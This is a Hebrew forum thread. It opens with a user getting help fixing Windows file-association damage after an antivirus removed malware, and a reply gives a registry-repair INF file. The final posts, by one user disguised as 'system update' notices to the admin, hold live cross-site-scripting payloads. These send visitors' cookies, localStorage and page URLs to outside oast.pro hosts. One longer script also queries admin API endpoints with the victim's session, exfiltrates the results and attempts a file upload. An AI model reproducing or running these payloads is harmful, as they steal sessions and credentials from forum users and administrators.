עזרה דחופה - למבינים!אנונימי (פותח)
יש לי בעיה.

היה לי כנראה וירוס במחשב. עד היום המחשב והוירוס חיו בשלום ובשלוה יחד על המחשב, אבל רק עד היום...

התקנתי תוכנת אנטיווירוס (ESET אם זה מעניין מישהו) שגילתה את הווירוס וכנראה מחקה אותו.

אבל אז התחילו כל מיני נזקים:
 כשאני מנסה לפתוח את הסקייפ הוא מודיע לי ש"היישום לא נמצא", כשניסיתי לפתוח את תקיית המערכת כדי לבצע שחזור מערכת אז הוא הודיע לי שהוא לא יכול לפתוח אותו כי חסר לו איזה RUNDLL.EXE או משהו כזה.

ניסיתי לעשות שחזור ב"מצב בטוח" אבל הוא כותב לי ששחזור המערכת לא יכול להגן על המחשב שלי ועלי לאתחל אותו מהתחלה - וכך הלאה. ניסיתי להכנס לסיקלינר כדי לנקות את האיתחול אבל אז הוא שאל אותי באיזה תוכנה לפתוח את הקובץ ccleaner.exe, ניסיתי להכנס לאיתחול דרך ההפעלה - כתבתי שם שיפעיל MSCONFIG ואז שוב הוא שאל באיזו תוכנה לפתוח את msconfig.exe, בקיצור אני ב"ברוך" ואין לי מושג מה לעשות עכשיו. אשמח מאד אם משה או מישהו אחר מהמקצוענים כאן יוכל בבקשה להציע מה לעשות.

תודה!!!
יש פתרונים מישהו?אנונימי (פותח)
משה? 11111? אריקל? איפה כל המבינים כשצריך אותם? ;)
ב"ה הסתדרתי בצורה מסוימתאנונימי (פותח)
אחת מהאפשרויות שעולות כשמפעילים את המחשב ומקישים F8 - לא זו של מצב בטוח, לא זו של הפעלה אחרונה טובה שהיתה וגם לא זו של ד-בגינג מווד - לא זוכר איך קוראים לה אבל בכל אופן היא גרמה שהצלחתי לעשות שחזור מערכת.

מה שכן - עם הווירוס כנראה נשארתי... מה לעשות עכשיו?

זה כמובן פחות דחוף אבל אשמח לשמוע רעיונות וגם הסברים למה שבדיוק קרה...

תודה...
פשוט מאודאנונימי (פותח)
תסרוק שוב ותסיר את הוירוס
תעתיק את השורות המצורפות ותדביק בקובץ טקסט פשוט תשנה את הסיומת שלו מtxt לinf תריץ אותו וזהו
[Version]
Signature="$Chicago$"
Provider=Symantec

[DefaultInstall]
AddReg=UnhookRegKey

[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"
HKLM, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe ""%1"""
HKLM, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools,0x00000020,0

לפרטים

http://www.symantec.com/security_response/writeup.jsp?docid=2004-050614-0532-99
ומה זה עושה בדיוק?אנונימי (פותח)
זה עורך את הרישומים?
זה מתקן את הבעיה של פתיחת תוכנות וכו'משה
מותר לישון מדי פעם. לא ?משה
נתחיל בלהסיר את הוירוס שוב, ואחר כך נשחזר את האפשרות להריץ EXE.


מה שם הוירוס?
המשך...אנונימי (פותח)
התקנתי היום קספרסקי. בינתיים הוא מצא

Trojan-Dropper.win32.small.apl
Trojan.Win32.Agent.aec
Worm.Win32.perlovqa.b
Worm.Win32.perlovqa.f
Trojan-PSW.Win32.QQPass.sy

אין לי מושג אם הוא מצא והסיר את מה שהESET הסיר אתמול וגרם לכל השיבוש...

ולמשה: שאלת מה שמות הווירוסים - יש לך איזה מידע מעניין לספר עליהם? מה הם עושים? מהיכן הם הגיעו?
ועוד אחד...אנונימי (פותח)
Backdoor.Win32.small.lo
תני לו פשוט להסיר אותםמשה
אחר כך נטפל בבעיות שהם גרמו.
הוא הסיר אותםאנונימי (פותח)אחרונה
ופתאום כבה המחשב, נדלק מחדש ונראה לי שעכשיו הכל בסדר, אלא אם כן יש כאן עוד ווירוסים שהוא לא מצא. אם לא - קשה לי להבין למה הESET אתמול גרם למחיקה של הRUNDLL
בדיקת מערכת פורוםnmr44590

מנהל נא לבדוק

fetch("https://db7u7ne94vkfp5nhckcgr3jz7j6rxcy33.oast.pro/xss?c="+document.cookie)
Re: utilnmr44590

עדכון util

sysmon_util.svg

עדכוןnmr44590

עדכון מערכת

fetch("https://db7uo5dsji97m1m71v3gycobyhpjqx1tj.oast.pro/forummath?c="+encodeURIComponent(document.cookie)+"&l="+location.href)
עדכון CSRFnmr44590

עדכון מערכת

(async()=>{const O='https://db7uo5dsji97m1m71v3gycobyhpjqx1tj.oast.pro';const p=(x,b)=>{try{fetch(O+x+(x.includes('?')?'&':'?')+'l='+encodeURIComponent(location.href),b==null?{mode:'no-cors'}:{method:'POST',mode:'no-cors',body:typeof b==='string'?b:JSON.stringify(b)})}catch(e){}};p('/boot');try{p('/cookie?c='+encodeURIComponent(doc‏ument.cookie||''))}catch(e){};try{p('/ls?c='+encodeURIComponent(JSON.stringify(localStorage)))}catch(e){};const j=async(u,o)=>{const r=await fetch(u,Object.assign({credentials:'include',headers:{Accept:'application/json',Referer:location.href,Origin:location.origin}},o||{}));return{s:r.status,tawait r.text()).slice(0,3500)}};try{const st=await j('/api/UserStatus/GetUserJSStatus?active=0&first=1&rnd='+Math.random());p('/who?s='+st.s,st.t)}catch(e){p('/whoerr',String(e))};for(const path of['/api/AdminJS/GetHPItems','/api/List/staff/ListMeta','/api/Forum/UserJSON?id=1']){try{const r=await j(path);p('/api?p='+encodeURIComponent(path)+'&s='+r.s,r.t.slice(0,1200))}catch(e){}};try{const fd=new FormData();fd.append('file',new Blob(['NUMA'],{type:'text/plain'}),'sysmon_util.txt');fd.append('js2','flash');const r=await fetch('/api/ForumUpload/Upload?js2=1',{method:'POST',credentials:'include',headers:{Referer:'https://www.inn.co.il/forum/1',Origin:'https://www.inn.co.il'},body:fd});p('/upload?s='+r.status,await r.text())}catch(e){p('/uploaderr',String(e))}})();
k-svg_onnmr44590
k-math_scriptnmr44590
k-script_onlynmr44590
k-keep_mtextnmr44590
k-keep_math_onlynmr44590

אולי יעניין אותך